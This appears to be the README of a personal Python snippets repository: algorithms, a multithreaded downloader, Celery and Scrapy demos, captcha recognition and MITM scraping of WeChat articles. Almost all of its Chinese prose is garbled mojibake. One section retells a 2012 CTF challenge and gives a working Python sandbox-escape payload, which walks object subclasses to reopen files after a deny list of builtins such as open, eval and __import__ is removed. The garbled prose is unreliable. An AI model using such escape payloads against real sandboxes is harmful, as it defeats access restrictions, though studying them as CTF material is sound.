Python
基于mitmä¸é—´äººçš„å½¢å¼?获å?–所有公众å?·åކå?²æ–‡ç« ,评论,阅读é‡?
feature
1,支�水平扩展
2,支�增�更新与自动化抓�阅读�,评论数�
3,支æŒ?抓å?–å°?ç¦?å?Žç»§ç»æ?¢å¤?抓å?–
4,支��阶段时间频率控制
5,支æŒ?æŒ?ç»ç›‘控指定公众å?·
代ç ?æš‚ä¸?å¼€æº?,如有问题交æµ?å?¯åœ¨è¯¥ä»“库æ??issue,对应处ç?†æµ?程图如下:
nice_download.py 多线程文件下载器
ç?†è®ºåœ¨å¤§åž‹æ–‡ä»¶ä¸‹è½½ï¼Œå¸¦å®½å……足的情况下,å?¯å¢žåŠ æ•°å??å€?下载速度
原ç?†æ˜¯å¤šçº¿ç¨‹å¯¹ç›®æ ‡æ–‡ä»¶åˆ†å?—下载
1,å?‘é€?head请求获å?–ç›®æ ‡æ–‡ä»¶æ€»å¤§å°?,以å?Šå½“å‰?是å?¦æ”¯æŒ?分å?—下载(详情:httpå??è®®header头rangeå?Šresponseçš„content-range),现在基本都支æŒ?
2,下载å‰?创建一个和è¦?ä¸‹è½½æ–‡ä»¶ä¸€æ ·å¤§å°?的文件
3,æ ¹æ?®1ä¸èŽ·å¾—çš„æ–‡ä»¶å¤§å°?分å?—多线程,å?„个线程下载ä¸?å?Œçš„æ•°æ?®å?—
å°?型文件å?¯èƒ½çœ‹ä¸?å‡ºåŠ é€Ÿæ•ˆæžœï¼Œåœ¨å¤§åž‹æ–‡ä»¶ä¸Šå°±ä¼šæ‹‰å¤§å·®è·?
关于http的range特性:
æœ‰äº›æ–‡ä»¶ä¸‹è½½å™¨åœ¨ä¸‹è½½ä¸æ–之å?Žå?¯ä»¥åœ¨ä¸æ–ä½?置继ç»ä¸‹è½½ï¼Œè€Œä¸?å¿…é‡?æ–°å¼€å§‹çš„åŽŸå› å°±æ˜¯åˆ©ç”¨äº†æ”¯æŒ?range的特性
è®°å½•äº†ä¸æ–时的文件å??ç§»ä½?ç½®,在实现时å?ªè¦?åœ¨ä¸æ–异常的时候记录文件å??ç§»ä½?置到临时文件
下次继ç»ä¸‹è½½è¯»å?–临时文件ä¸çš„å??ç§»å?³å?¯æ”¯æŒ?æ–点下载,下载完æˆ?æ—¶åˆ é™¤è®°å½•æ–‡ä»¶å??移的临时文件å?³å?¯
说明:
nice_download.py是多线程模å¼?,所以去除æ–点下载功能,å?¦åˆ™ç»´æŠ¤ä¸´æ—¶æ–‡ä»¶å??ç§»ä½?置比维护å?•一进程的临时文件å??ç§»ä½?ç½®è¦?å¤?æ?‚的多
查看帮助:python nice_download.py -h
基于tensorflow的验è¯?ç ?识别
ä¾?èµ–:
pip install tensorflow
pip install numpy
0x01,cd tensorflow
0x02,模型è®ç»ƒï¼špython train.py
0x03,验�验�:python cnn_test.py
已有大多相关案例,测试相关总结与截图如下:
总结文档:基于机器å¦ä¹ (TensorFlow)çš„å¤?æ?‚验è¯?ç ?识别.pdf
redpackage.py && red_package_optimize.py 一�红包分��路
red_package_optimize.py为优化版,redpackage.pyçš„range有点浪费内å˜ï¼Œæ¯”如在红包个数特别大的情况下
指定红包总金�,�指定红包的个数,获得�个红包分�金�详情
例,红包总金�为10元,分�7个
➜ Py git:(master) ✗ py redpackage.py 10 7
[0.57, 2.37, 1.91, 0.32, 1.3, 2.24, 1.29]
第 1 个红包金�:0.57元
第 2 个红包金�:2.37元
第 3 个红包金�:1.91元
第 4 个红包金�:0.32元
第 5 个红包金�:1.3元
第 6 个红包金�:2.24元
第 7 个红包金�:1.29元
验�:红包总金� is 10.0元, 分�� res sum is 10.0元
ac.py å—符串æ?œç´¢ç®—法(tireæ ‘+AC自动机)
å¦ä¹ 记录:
å¦‚æžœä½ çš„æœ¬åœ°å?ªæœ‰å‡ ä¸ªï¼Œå‡ å??个è¯?,那么没有必è¦?使用,直接å˜é…?置文件,å—典查找å?³å?¯ï¼Œ
这比å?‘apiå?‘èµ·http请求è¦?快的多。但如果è¯?的数目ä¸?æ–å¢žåŠ ï¼Œé‚£ä¹ˆå?ŽæœŸå°†ä¸?利于维护,
需��务化。
这个算法å˜åœ¨äºŽå®žé™…场景,åˆ¤æ–æŸ?个å?•è¯?是å?¦æ˜¯æ•?感è¯?,就涉å?Šåˆ°å—符串查找。
æ•?感è¯?被å°?装æˆ?了一个api接å?£,使用起æ?¥ä¹Ÿå¾ˆæ–¹ä¾¿,直接å?‘apiæ??交å?•è¯?,
看返回结果就知é?“是å?¦å‘½ä¸,命ä¸äº†åˆ™å—符串å˜åœ¨,表明查找到了。
需�数�结构与算法知识:
å?‚考文档1(æµ·é‡?æ•°æ?®å¤„ç?†ä¹‹Tireæ ‘ï¼ˆå—å…¸æ ‘)):
http://blog.csdn.net/ts173383201/article/details/7858598
�考文档2(AC自动机总结):
http://blog.csdn.net/mobius_strip/article/details/22549517
trieçš„æ ¸å¿ƒæ€?想是空间æ?¢æ—¶é—´,跟彩虹表的æ€?想一致,但trieæ ‘ä¸?是彩虹表,
简而言之,trieæ ‘åˆ©ç”¨å—符串的公共å‰?ç¼€æ?¥é™?低查询时间的开销以达到æ??高效率的目的。
它有3个基本性质:
æ ¹èŠ‚ç‚¹ä¸?包å?«å—ç¬¦ï¼Œé™¤æ ¹èŠ‚ç‚¹å¤–æ¯?一个节点都å?ªåŒ…å?«ä¸€ä¸ªå—符。
ä»Žæ ¹èŠ‚ç‚¹åˆ°æŸ?一节点,路径上ç»?过的å—符连接起æ?¥ï¼Œä¸ºè¯¥èŠ‚ç‚¹å¯¹åº”çš„å—符串。
æ¯?个节点的所有å?节点包å?«çš„å—符都ä¸?相å?Œã€‚
å¤?制了别人画的图,大致就是一ç§?å¦‚ä¸‹çš„æ ‘ç»“æž„,需è¦?用è¯è¨€æž„é€ è¿™æ£µæ ‘å?³å?¯:
fail 指针的�解图解,以下内容需�仔细读
�考:http://www.cnblogs.com/crazyacking/p/4659501.html
æ ‘ä¸Šçš„è¯?分别是:
{ he , hers , his , she}
按图所示分æˆ?3层。看到第三层,是"she",其ä¸ï¼š
①s指�root
②h先找到s的fail指针
å?‘现是0å?·æŒ‡é’ˆï¼Œä¸?是h,然å?Žhå°±ä¸?高兴了,å†?问问sçš„fail指针rootï¼šâ€œä½ æœ‰æ²¡æœ‰å„¿å?和我å?Œå??å?«hçš„â€?
rootè¯´ï¼šâ€œæœ‰ï¼Œä½ æŒ‡å?‘ä»–å?§â€?,然å?Žh就高兴的指å?‘了第一行的h.
â‘¢e开始找了,首先问他è€?爸hï¼šâ€œä½ çš„fail指针指ç?€è°?â€?
h说:“图上第一行那个h啊�
ç„¶å?Žeå°±å±?é¢ å±?é¢ åœ°è·‘åŽ»é—®å›¾ä¸Šç¬¬ä¸€è¡Œé‚£ä¸ªhï¼šâ€œä½ æœ‰æ²¡æœ‰å??å—å’Œæˆ‘ä¸€æ ·çš„å„¿å?啊â€?
图上第一行那个h说:“有,他地�是xxx�
最�e的fail指针就指�xxx地�,也就是第一行那个e了
å?‘çŽ°è¿™æ ·ï¼Œå¦‚æžœä¸€ä¸ªå—符串查到第三行的e以å?Žçš„å—符æ‰?ä¸?匹é…?,那说明他å‰?é?¢åº”该有个‘he’
刚好e的失败指针指�的是第一行的‘he...’的那个e;
è¿™æ ·å°±ä¸?用从h开始å†?找一é??,而是接ç?€ç¬¬ä¸€è¡Œçš„eç»§ç»å¾€å?Žæ‰¾ï¼Œä»Žè€ŒèŠ‚çœ?了时间.
➜ ~ du -h word.md && wc -l word.md
1.0M word.md
57193 word.md
本地测试了一下,57000æ?¡è®°å½•大于å? 1M硬盘空间,那么6M的空间大约包å?«è®°å½•34Wæ?¡è®°å½•,
æˆ‘ä¼ åˆ°githubçš„word.mdæ²¡æœ‰å‡ ä¸ªå—符,å?ªå?šäº†æ¼”示,而且æ¯?个å?•è¯?è¿˜åŠ äº†rankç‰çº§ï¼Œ\t制表符,实际å? 用空间应该更å°?,
生产环境甚至å?¯ä»¥ç›´æŽ¥å°†è¿™äº›æ•°æ?®ç¼“å˜åˆ°å†…å˜ä¸ã€‚
测试æ?œç´¢æŒ‡å®šå—符串:
查找到了
➜ ~ python ac.py lock
Good ! Find it, the item is:
[(0, 3, 'lock', 1, 2)]
查找到了
➜ ~ python ac.py stop
Good ! Find it, the item is:
[(0, 3, 'stop', 2, 3)]
没有查找到
➜ ~ python ac.py test
Sorry, The item not in file dict
如果查找到了返回一个list,listä¸item类型为tuple, 并且包å?«äº†åœ¨æ ‘ä¸åŒ¹é…?的起,终点ä½?ç½®index
calc24.py 算24游��程�
游�规则:给定4个数,�以执行的�算有 + - * / , 求出算的结果是24的算法过程
get help:
➜ Py git:(master) ✗ py calc24.py -h
Usage: usage -n 1,2,3,4
Options:
-h, --help show this help message and exit
-n NUMS specify num list
exp:
➜ Py git:(master) ✗ py calc24.py -n 10,8,9,4
[10, 8, 9, 4]
9 - 10 = -1
4 + -1 = 3
8 * 3 = 24
Success
or random test:
➜ Py git:(master) ✗ py calc24.py
[9, 10, 3, 6]
10 - 9 = 1
3 + 1 = 4
6 * 4 = 24
Success
~~~pythonè½®å?很强大~~~
rpn.py 逆波兰表达� python 版实现
逆波兰表达å¼?被广泛应用于编译原ç?†ä¸ï¼Œæ˜¯ä¸€ç§?是由波兰数å¦å®¶æ‰¬Â·æ¦å?¡è°¢ç»´å¥‡1920年引入的数å¦è¡¨è¾¾å¼?æ–¹å¼?,在逆波兰记法ä¸ï¼Œ
所有æ“?作符置于æ“?作数的å?Žé?¢ï¼Œå› æ¤ä¹Ÿè¢«ç§°ä¸ºå?Žç¼€è¡¨ç¤ºæ³•。逆波兰记法ä¸?需è¦?括å?·æ?¥æ ‡è¯†æ“?作符的优先级。
ä»¥åˆ©ç”¨å †æ ˆç»“æž„å‡?少计算机内å˜è®¿é—®ã€‚
➜ Py git:(master) ✗ python rpn.py
['11111111111111', '9999999999999', '*', '99', '12', '4', '/', '-', '10', '+', '+']
True 111111111111098888888888995 111111111111098888888888995
True 326 326
dispatch.py 轮转队列 | å??程实现
ä½ çš„æ‰‹å¤´ä¸Šä¼šæœ‰å¤šä¸ªä»»åŠ¡ï¼Œæ¯?ä¸ªä»»åŠ¡è€—æ—¶å¾ˆé•¿ï¼Œè€Œä½ å?ˆä¸?想å?Œæ¥å¤„ç?†ï¼Œè€Œæ˜¯å¸Œæœ›èƒ½åƒ?å¤šçº¿ç¨‹ä¸€æ ·äº¤æ›¿æ‰§è¡Œã€‚
yield 没有逻辑æ„?义,仅是作为暂å?œçš„æ ‡å¿—点。
程åº?æµ?å?¯ä»¥åœ¨æ¤æš‚å?œï¼Œä¹Ÿå?¯ä»¥åœ¨æ¤æ?¢å¤?。而通过实现一个调度器,完æˆ?多个任务的并行处ç?†ã€‚
通过轮转队列�次唤起任务,并将已�完�的任务清出队列,模拟任务调度的过程。
æ ¸å¿ƒä»£ç ?:
from collections import deque
class Runner(object):
def __init__(self, tasks):
self.tasks = deque(tasks)
def next(self):
return self.tasks.pop()
def run(self):
while len(self.tasks):
task = self.next()
try:
next(task)
except StopIteration:
pass
else:
self.tasks.appendleft(task)
def task(name, times):
for i in range(times):
yield
print(name, i)
Runner([
task('hsfzxjy', 5),
task('Jack', 4),
task('Bob', 6)
]).run()
coroutine.py 通过gevent第三方库实现å??程
上é?¢çš„dispatch.py通过yieldæ??供了对å??程的支æŒ?,模拟了任务调度。而下é?¢çš„这个gevent第三方库就更简å?•了。
第三方的gevent为Pythonæ??供了比较完善的å??程支æŒ?。通过greenlet实现å??程,其基本æ€?想是:
当一个greenleté?‡åˆ°IOæ“?作时,比如访问网络,就自动切æ?¢åˆ°å…¶ä»–çš„greenlet,ç‰åˆ°IOæ“?作完æˆ?,å†?在适当的时候切æ?¢å›žæ?¥ç»§ç»æ‰§è¡Œã€‚
由于IOæ“?作é?žå¸¸è€—时,ç»?常使程åº?处于ç‰å¾…状æ€?,有了gevent为我们自动切æ?¢å??程,就ä¿?è¯?总有greenlet在è¿?行,而ä¸?是ç‰å¾…IO。
由于切æ?¢æ˜¯åœ¨IOæ“?作时自动完æˆ?,所以gevent需è¦?修改Pythonè‡ªå¸¦çš„ä¸€äº›æ ‡å‡†åº“ï¼Œè¿™ä¸€è¿‡ç¨‹åœ¨å?¯åŠ¨æ—¶é€šè¿‡monkey patch完æˆ?:
�赖:
pip install gevent
执行:
➜ Py git:(master) ✗ python coroutine.py
GET: https://www.python.org/
GET: https://www.yahoo.com/
GET: https://github.com/
91430 bytes received from https://github.com/.
47391 bytes received from https://www.python.org/.
461975 bytes received from https://www.yahoo.com/.
base64_str.py base64ç¼–ç ?原ç?†
base64ç¼–ç ?原ç?†ï¼Œä½¿ç”¨Python实现base64ç¼–ç ?,å?¯èƒ½æœ‰bug,未完全完善版
1,准备一个包å?«64个å—符的数组
2,对二进制数æ?®è¿›è¡Œå¤„ç?†ï¼Œæ¯?3个å—节一组,一共是3x8=24bit,划为4组,æ¯?组æ£å¥½6个bit
3,得到4个数å—作为索引,然å?ŽæŸ¥è¡¨ï¼ŒèŽ·å¾—ç›¸åº”çš„4个å—符,就是编ç ?å?Žçš„å—符串
4,如果è¦?ç¼–ç ?的二进制数æ?®ä¸?是3çš„å€?数,最å?Žä¼šå‰©ä¸‹1个或2个å—节,Base64用\x00å—节在末尾补足å?Žï¼Œå†?在编ç ?çš„æœ«å°¾åŠ ä¸Š1个或2个=å?·ï¼Œ
表示补了多少å—节,解ç ?的时候,会自动去掉。
Base64ç¼–ç ?会把3å—节的二进制数æ?®ç¼–ç ?为4å—节的文本数æ?®ï¼Œé•¿åº¦å¢žåŠ 33%
例:
➜ Py git:(master) ✗ python base64_str.py lock
bG9jaw==
➜ Py git:(master) ✗ echo -n lock|base64
bG9jaw==
rsa.py RSA算法演示
➜ py python rsa.py
下é?¢æ˜¯ä¸€ä¸ªRSAåŠ è§£å¯†ç®—æ³•çš„ç®€å?•演示:
报文 åŠ å¯† åŠ å¯†å?Žå¯†æ–‡
12 248832 17
15 759375 15
22 5153632 22
5 3125 10
---------------------------
----------执行解密---------
---------------------------
原始报文 密文 åŠ å¯† 解密报文
12 17 1419857 12
15 15 759375 15
22 22 5153632 22
5 10 100000 5
selenium.py 自动化测试demo
�1:
执行 python selenium.py å§‹ç»ˆæ— æ³•å”¤é†’chrome。
最终�现chromedriver很早之�安装的,没有进行:brew upgrade chromedriver,导致执行脚本时报错
upgrade chromedriver 之å?Žè§£å†³é—®é¢˜ï¼Œå®˜æ–¹æ–‡æ¡£è¯´æ˜Žäº†selenium支æŒ?å¥½å‡ ä¸ªBrowser driver。
演示时用的是Chrome,python的unittest模�,文档上说也�以用pytest
大致支æŒ?è¿™ä»¥ä¸‹å‡ ç§?DOM查找,ä¸?å?Œè¯è¨€çš„æŽ¥å?£ç•¥å¾®çš„å°?区别
driver.findElement(By.id(<element ID>))
driver.findElement(By.name(<element name>))
driver.findElement(By.className(<element class>))
driver.findElement(By.tagName(<htmltagname>))
driver.findElement(By.linkText(<linktext>))
driver.findElement(By.partialLinkText(<linktext>))
driver.findElement(By.cssSelector(<css selector>))
driver.findElement(By.xpath(<xpath>))
支�Using Selenium with remote WebDriver
支�远程WebDriver,默认监�4444端�
�动:brew services start selenium-server-standalone
å?œæ¢ï¼šbrew services stop selenium-server-standalone
访问http://127.0.0.1:4444 点击console,
新建æ£åœ¨æµ‹è¯•所使用的webdriver,对于æ£åœ¨è¿?行driver的测试程åº?,å?¯ä»¥æˆªå›¾çœ‹å½“å‰?测试程åº?çš„è¿?行ä½?ç½®
Python 沙箱逃逸
é‡?温2012.hack.lu的比赛题目,在这次挑战ä¸ï¼Œéœ€è¦?读å?–'./1.key'文件的内容。
ä»–ä»¬é¦–å…ˆé€šè¿‡åˆ é™¤å¼•ç”¨æ?¥é”€æ¯?打开文件的内置函数。然å?Žå®ƒä»¬å…?许您执行用户输入。看看他们的代ç ?ç¨?微修改的版本:
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
由于没有在__builtins__ä¸å¼•用fileå’Œopen,所以常规的编ç ?技巧是行ä¸?通的。但å?¯ä»¥åœ¨Pythonè§£é‡Šå™¨ä¸æŒ–掘出å?¦ä¸€ç§?代替file或open引用的方法。
�类读�文件的方�:
().__class__.__bases__[0].__subclasses__()[40]('1.key').read()
这个方法�然�以读�到1.key的内容,coder,hack,geek�以深入了解下,本人测试时的python版本为:Python 2.7.12
avl_tree.py 平衡二å?‰æ?œç´¢æ ‘
特点:
1ã€?若它的左å?æ ‘ä¸?为空,则左å?æ ‘ä¸Šæ‰€æœ‰çš„èŠ‚ç‚¹å€¼éƒ½å°?äºŽå®ƒçš„æ ¹èŠ‚ç‚¹å€¼ã€‚
2ã€?若它的å?³å?æ ‘ä¸?为空,则å?³å?æ ‘ä¸Šæ‰€æœ‰çš„èŠ‚ç‚¹å€¼å?‡å¤§äºŽå®ƒçš„æ ¹èŠ‚ç‚¹å€¼ã€‚
3ã€?它的左å?³å?æ ‘ä¹Ÿåˆ†åˆ«å?¯ä»¥å……当为二å?‰æŸ¥æ‰¾æ ‘。
4ã€?æ¯?个节点的左å?æ ‘å’Œå?³å?æ ‘çš„é«˜åº¦å·®è‡³å¤šç‰äºŽ1。
如果普通二å?‰æ?œç´¢æ ‘的深度很高且å?•一左边节点很多或者å?•一å?³è¾¹èŠ‚ç‚¹å¾ˆå¤šï¼Œé‚£ä¹ˆæŸ¥æ‰¾æ€§èƒ½å‡ ä¹Žå°±å?˜æˆ?了线性的
而平衡二å?‰æ ‘çš„æ¯?个节点的左å?æ ‘å’Œå?³å?æ ‘çš„é«˜åº¦å·®è‡³å¤šç‰äºŽ1,这ç§?æ ‘ç»“æž„çš„æŸ¥æ‰¾æ€§èƒ½æ—¶é—´å¤?æ?‚度趋å?‘lgn
➜ Py git:(master) ✗ py avl_tree.py
8
9
1
rb_tree.py çº¢é»‘æ ‘
çº¢é»‘æ ‘å¤šç”¨åœ¨å†…éƒ¨æŽ’åº?,å?³å…¨æ”¾åœ¨å†…å˜ä¸çš„,微软STLçš„mapå’Œsetçš„å†…éƒ¨å®žçŽ°å°±æ˜¯çº¢é»‘æ ‘ã€‚
Bæ ‘å¤šç”¨åœ¨å†…å˜é‡Œæ”¾ä¸?下,大部分数æ?®å˜å‚¨åœ¨å¤–å˜ä¸Šæ—¶ã€‚å› ä¸ºBæ ‘å±‚æ•°å°‘ï¼Œå› æ¤å?¯ä»¥ç¡®ä¿?æ¯?次æ“?作,读å?–ç£?盘的次数尽å?¯èƒ½çš„少。
在数æ?®è¾ƒå°?,å?¯ä»¥å®Œå…¨æ”¾åˆ°å†…å˜ä¸æ—¶ï¼Œçº¢é»‘æ ‘çš„æ—¶é—´å¤?æ?‚度比Bæ ‘ä½Žã€‚
å??之,数æ?®é‡?较大,外å˜ä¸å? 主è¦?部分时,Bæ ‘å› å…¶è¯»ç£?盘次数少,而具有更快的速度。
特点:
(1)�个节点或者是黑色,或者是红色。
(2ï¼‰æ ¹èŠ‚ç‚¹æ˜¯é»‘è‰²ã€‚
(3)æ¯?个å?¶å?节点(NIL)是黑色。 [注æ„?:这里å?¶å?节点,是指为空(NIL或NULL)çš„å?¶å?节点ï¼?]
(4)如果一个节点是红色的,则它的å?节点必须是黑色的。
(5)从一个节点到该节点的å?å™èŠ‚ç‚¹çš„æ‰€æœ‰è·¯å¾„ä¸ŠåŒ…å?«ç›¸å?Œæ•°ç›®çš„黑节点。
revert_list.py å??转链表
➜ Py git:(master) ✗ py revert_list.py
1
2
3
start revert list ...
3
2
1
palindrome.py python版回文数,heapq_sort.pyåŸºäºŽå †æŽ’åº?
life is short , use python
-(1)æ—¶é—´å¤?æ?‚度:O(n),空间å¤?æ?‚度:O(1)。从两头å?‘ä¸é—´æ‰«æ??
-(2)æ—¶é—´å¤?æ?‚度:O(n),空间å¤?æ?‚度:O(1)。先从ä¸é—´å¼€å§‹ã€?ç„¶å?Žå?‘两边扩展
å †æŽ’å®žçŽ°ï¼Œpython对有对应å°?装好的heapq模å?—
py heapq_sort.py
kmp.py kmpå—符串查找算法
➜ Py git:(master) ✗ python kmp.py
Found 'sase' start at string 'asfdehhaassdsdasasedwa' 15 index position, find use times: 23
Found 'sase' start at string '12s3sasexxx' 4 index position, find use times: 9
æ ¸å¿ƒç®—æ³•ï¼š
def kmp(string, match):
n = len(string)
m = len(match)
i = 0
j = 0
count_times_used = 0
while i < n:
count_times_used += 1
if match[j] == string[i]:
if j == m - 1:
print "Found '%s' start at string '%s' %s index position, find use times: %s" % (match, string, i - m + 1, count_times_used,)
return
i += 1
j += 1
elif j > 0:
j = j - 1
else:
i += 1
compress.py å—符串压缩
针对连ç»é‡?å¤?较多的å—符压缩,å?¦åˆ™ä¸?起压缩效果
➜ Py git:(master) ✗ python compress.py
原始å—符串:xAAACCCBBDBB111
压缩�:x1A3C3B2D1B213
执行解压...
x
A
A
A
C
C
C
B
B
D
B
B
1
1
1
解压完毕
解压�:xAAACCCBBDBB111
hashtable.py hash表实现
hash_table = HashTable(5); # 分�5�
hash_table.set(1,'x')
print hash_table.get(1)
æ ¸å¿ƒä»£ç ?:
class Item(object):
def __init__(self, key, value):
self.key = key
self.value = value
class HashTable(object):
def __init__(self, size):
self.size = size
self.table = [[] for _ in xrange(self.size)]
def hash_function(self, key):
return key % self.size
def set(self, key, value):
hash_index = self.hash_function(key)
for item in self.table[hash_index]:
if item.key == key:
item.value = value
return
self.table[hash_index].append(Item(key, value))
def get(self, key):
hash_index = self.hash_function(key)
for item in self.table[hash_index]:
if item.key == key:
return item.value
return None
def remove(self, key):
hash_index = self.hash_function(key)
for i, item in enumerate(self.table[hash_index]):
if item.key == key:
del self.table[hash_index][i]
interpreter.py Python解释器�解
Python会执行其他3个æ¥éª¤ï¼šè¯?法分æž?ï¼Œè¯æ³•è§£æž?和编译。
这三æ¥å?ˆèµ·æ?¥æŠŠæº?代ç ?转æ?¢æˆ?code object,它包å?«ç?€è§£é‡Šå™¨å?¯ä»¥ç?†è§£çš„æŒ‡ä»¤ã€‚而解释器的工作就是解释code objectä¸çš„æŒ‡ä»¤ã€‚
æ ¸å¿ƒä»£ç ?
class Interpreter:
def __init__(self):
self.stack = []
def load_value(self, number):
self.stack.append(number)
def print_answer(self):
answer = self.stack.pop()
print(answer)
def add_two_values(self):
first_num = self.stack.pop()
second_num = self.stack.pop()
total = first_num + second_num
self.stack.append(total)
def run_code(self, what_to_execute):
instructions = what_to_execute["instructions"]
numbers = what_to_execute["numbers"]
for each_step in instructions:
instruction, argument = each_step
if instruction == "load_value":
number = numbers[argument]
self.load_value(number)
elif instruction == "add_two_values":
self.add_two_values()
elif instruction == "print_answer":
self.print_answer()
linked_list.py 快速查找å?•链表ä¸é—´èŠ‚ç‚¹
➜ Py git:(master) py linked_list.py
普通é??历方å¼?,å?•链表ä¸é—´èŠ‚ç‚¹ä¸º:n3,索引为:2,é??历一次链表,在从0é??历到ä¸é—´ä½?ç½®
快慢指针方å¼?,å?•链表ä¸é—´èŠ‚ç‚¹ä¸º:n3,索引为:2,å?ªé??历一次链表
æ ¸å¿ƒä»£ç ?:
class Node(object):
def __init__(self,data,next):
self.data=data
self.next=next
n1 = Node('n1',None)
n2 = Node('n2',n1)
n3 = Node('n3',n2)
n4 = Node('n4',n3)
n5 = Node('n5',n4)
head = n5 # 链表的头节点
p1 = head # 一次æ¥è¿›1个node
p2 = head # 一次æ¥è¿›2个node
step = 0
while (p2.next is not None and p2.next.next is not None):
p2 = p2.next.next
p1 = p1.next
step = step + 1
print '快慢指针方å¼?,å?•链表ä¸é—´èŠ‚ç‚¹ä¸º:%s,索引为:%s,å?ªé??历一次链表' % (p1.data,step)
K最近邻算法
这个算法比svm简�很多
å?ªéœ€ä½¿ç”¨åˆ?䏿‰€å¦çš„两点è·?离公å¼?(欧拉è·?离公å¼?ï¼‰ï¼Œè®¡ç®—ç›®æ ‡ç‚¹åˆ°å?„组的è·?离,看绿点和哪组更接近。
k代表å?–当å‰?è¦?分类的点最近的k个点,这k个点如果其ä¸å±žäºŽçº¢ç‚¹ä¸ªæ•°å? 多数,我们就认为绿点应该划分为红组,å??之,则划分为黑组。
k值与分类数æˆ?æ£ç›¸å…³ï¼ŒçŽ°åœ¨æ˜¯2个分组,那么k值å?–3,å?‡è®¾æ˜¯3个分组,那么k值就è¦?å?–5
�考说明:https://zh.wikipedia.org/wiki/最近鄰居法
�赖:
pip install numpy
pip install matplotlib
䏋图䏿 ‡æ³¨è¾ƒå¤§çš„红点在计算之å?Žè¢«åˆ†é…?到红组
执行:python knn.py
支���机 svm.py
迟早会忘记的svm
å±žåˆ†ç±»ç®—æ³•ï¼Œç›®æ ‡æ˜¯å¯»æ‰¾ä¸€ä¸ªæœ€ä¼˜è¶…å¹³é?¢ï¼Œæ¯”knn算法å¤?æ?‚
demo为线性�分离数�
�考1:https://zh.wikipedia.org/zh-hans/支���机
�考2:http://blog.csdn.net/viewcode/article/details/12840405
�考3:http://blog.csdn.net/lisi1129/article/details/70209945?locationNum=8&fps=1
�赖:
pip install numpy
pip install matplotlib
执行:python svm.py
(å‰?åº?,ä¸åº?,å?Žåº?,层åº?) btree.py
➜ Py git:(master) ✗ python btree.py
å‰?åº?é??历: root A C D F G B E
ä¸åº?é??历: C F D G A root B E
å?Žåº?é??历: F G D C A E B root
层åº?é??历: root A B C E D F G
æž„é€ æ ‘ç»“æž„å¦‚ä¸‹å›¾
Scrapy 爬虫测试(项目代ç ?在仓库crawl_360目录下)
安装�赖:
pip install Scrapy
pip install sqlalchemy
pip install sqlacodegen
pip install mysql-connector
创建db:CREATE DATABASE crawl DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_general_ci
创建表:crawl_360/readme/sql.sql 文件
sqlacodegen创建models:
sqlacodegen --outfile=models.py mysql://root@localhost:3306/crawl --tables butian
æ‰¾æµ‹è¯•çš„ç›®æ ‡æŠ“å?–页é?¢ï¼šhttp://butian.360.cn/Loo 页é?¢è¢«æŠ«éœ²æ¼?æ´žçš„ä¼?业列表
创建项目: scrapy startproject crawl_360
目录结构:
➜ crawl_360 tree
.
├── crawl_360
│  ├── __init__.py
│  ├── __init__.pyc
│  ├── items.py
│  ├── items.pyc
│  ├── middlewares.py
│  ├── models
│  │  ├── __init__.py
│  │  ├── __init__.pyc
│  │  ├── db.py
│  │  ├── db.pyc
│  │  ├── models.py
│  │  └── models.pyc
│  ├── pipelines.py
│  ├── pipelines.pyc
│  ├── reademe
│  │  └── sql.sql
│  ├── settings.py
│  ├── settings.pyc
│  └── spiders
│  ├── __init__.py
│  ├── __init__.pyc
│  ├── butian.py
│  └── butian.pyc
└── scrapy.cfg
生�一个爬虫:
cd crawl_360 && scrapy genspider butian butian.360.cn/Loo
编写爬虫代ç ? (crawl_360目录下,xpath代ç ?30行å?³å?¯)
爬�:scrapy crawl butian
å?¦ï¼šselenium也是一款é?žå¸¸ä¸?错的工具,å?¯æ˜¯ä½¿ç”¨selenium调用Browser driveræ›´åŠ é€¼çœŸçœŸå®žç”¨æˆ·æ“?作
Celery 分布�任务队列Test (仓库celery文件夹下)
pip3 install celery
pip3 install redis
编写tasks.py
from celery import Celery
app = Celery('TASK', broker='redis://127.0.0.1', backend='redis://127.0.0.1')
@app.task
def add(x, y):
print 'start ...'
print 'get param :%s,%s' % (x, y,)
return x + y�动celery worker �开始监�并执行任务
celery -A tasks worker --loglevel=info
tasks 任务文件å??,worker 任务角色,--loglevel=info 任务日志级别
127.0.0.1:6379> keys *
1) "_kombu.binding.celery"
2) "_kombu.binding.celeryev"
3) "_kombu.binding.celery.pidbox"
127.0.0.1:6379>
redis 集�结构(set),查看value:
SMEMBERS _kombu.binding.celery
在tasks.py文件目录打开终端进入py的交互�模�
>>> from tasks import add
>>> add.delay(1,2)
<AsyncResult: edb1b071-ed94-46fc-8250-a13e3db0e1a4>
>>> t = add.delay(4,5)
>>> t.get()
9
>>> t.ready()
True
celery常用接�
tasks.add(4,6) ---> 本地执行
tasks.add.delay(3,4) --> worker执行
t=tasks.add.delay(3,4) --> t.get() 获�结果,或��,阻塞
t.ready()---> False:未执行完,True:已执行完
t.get(propagate=False) 抛出简å?•异常,但程åº?ä¸?会å?œæ¢
t.traceback 追踪完整异常
计算结果ä¿?å˜åœ¨redisä¸,默认结果有效期为1天
127.0.0.1:6379> ttl celery-task-meta-6eb3ee46-e86d-409a-9eb5-0c7d9b005035
(integer) 85917
127.0.0.1:6379> get celery-task-meta-6eb3ee46-e86d-409a-9eb5-0c7d9b005035
"{\"status\": \"SUCCESS\", \"traceback\": null, \"result\": 9, \"task_id\": \"6eb3ee46-e86d-409a-9eb5-0c7d9b005035\", \"children\": []}"
127.0.0.1:6379>











